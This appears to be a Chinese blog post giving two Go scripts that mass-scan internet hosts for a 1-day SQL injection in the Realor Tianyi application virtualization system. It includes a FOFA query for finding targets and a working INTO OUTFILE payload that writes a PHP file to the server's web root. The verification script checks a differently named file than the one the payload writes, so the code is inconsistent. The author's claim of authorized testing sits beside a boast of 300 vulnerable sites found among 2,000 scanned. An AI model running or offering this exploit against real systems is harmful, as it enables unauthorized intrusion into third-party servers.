快捷搜索: 王者荣耀 脱发

利用Go语言批量刷公益 瑞友天翼(1day)

前几天爆出的瑞友天翼1day还是比较很热门的,如果想挖公益的话那必然还是要扫描器批量的。

go的线程众所周知,直接贴代码自己测试吧

fofa语句: ’

product="REALOR-天翼应用虚拟化系统"

判断网站是否存活,且进行写入文件。

package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"
    "sync"
)

func main() {
    // 打开1.txt文件
    inputFile, err := os.Open("1.txt")
    if err != nil {
        fmt.Println("Open file error:", err)
        return
    }
    defer inputFile.Close()

    // 创建存活链接.txt文件
    outputFile, err := os.Create("存活链接.txt")
    if err != nil {
        fmt.Println("Create file error:", err)
        return
    }
    defer outputFile.Close()

    // 创建一个带缓冲的channel
    urlChan := make(chan string, 1000)

    // 使用goroutine并发请求URL
    var wg sync.WaitGroup
    for i := 0; i < 100; i++ {
        wg.Add(1)
        go func() {
            for url := range urlChan {
                resp, err := http.Get(url + "/AgentBoard.XGI?user=%27%7C%7C%271%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2FProgram%20Files%2FRealFriend%2FRap%20Server%2FWebRoot%2Fchips.php%27%20LINES%20TERMINATED%20BY%200x3c3f706870206563686f202268656c6c6c6f20727569796f75223b3f3e--%20-&cmd=UserLogin")
                if err != nil {
                    fmt.Println(url, "==404")
                    continue
                }
                defer resp.Body.Close()
                if resp.StatusCode == 200 {
                    fmt.Println(url, "==200")
                    outputFile.WriteString(url + "
")
                } else {
                    fmt.Println(url, "==404")
                }
            }
            wg.Done()
        }()
    }

    // 读取1.txt文件中的URL,并发送到channel中
    scanner := bufio.NewScanner(inputFile)
    for scanner.Scan() {
        urlChan <- scanner.Text()
    }

    // 关闭channel
    close(urlChan)

    // 等待所有goroutine结束
    wg.Wait()
}

响应状态码为200的链接将会导出到 当前目录下 存活链接.txt的文件中

后续我们还要判断文件是否写入成功,如果访问我们的文件如果状态为200即可证明漏洞存在

package main

import (
    "bufio"
    "fmt"
    "net/http"
    "os"
    "sync"
)

func main() {
    // 打开200.txt文件
    file, err := os.Open("存活链接.txt")
    if err != nil {
        panic(err)
    }
    defer file.Close()

    // 创建漏洞链接.txt文件
    output, err := os.Create("漏洞链接.txt")
    if err != nil {
        panic(err)
    }
    defer output.Close()

    // 创建一个带缓冲的读取器
    scanner := bufio.NewScanner(file)
    // 创建等待组
    var wg sync.WaitGroup

    // 设置最大并发数
    maxConcurrent := 50
    semaphore := make(chan struct{}, maxConcurrent)

    // 循环读取文件中的每一行
    for scanner.Scan() {
        url := scanner.Text() + "/11nxxx.php"

        // 限制并发数
        semaphore <- struct{}{}

        wg.Add(1)
        go func() {
            defer wg.Done()
            // 发送HTTP请求
            resp, err := http.Get(url)
            if err != nil {
                fmt.Println(url, "==不存在漏洞")
                <-semaphore
                return
            }
            defer resp.Body.Close()

            // 判断HTTP响应状态码
            if resp.StatusCode == 200 {
                fmt.Println(url, "==漏洞存在!!")
                fmt.Fprintln(output, url)
            } else {
                fmt.Println(url, "==no")
            }

            // 释放信号量
            <-semaphore
        }()
    }

    // 等待所有goroutine执行完毕
    wg.Wait()
}

运行结束即在目录下生成一个文本文档。打开就是你们想要的了

测试了两千个站点,结果显示存在大概300个站点有漏洞

本人不太用golang写。所以代码可能有点烂,我的原则是能用就行。也欢迎大佬指点

以上均在靶场和一些授权的地方测试,网络不是法外之地,请遵循网络安全法。

经验分享 程序员 微信小程序 职场和发展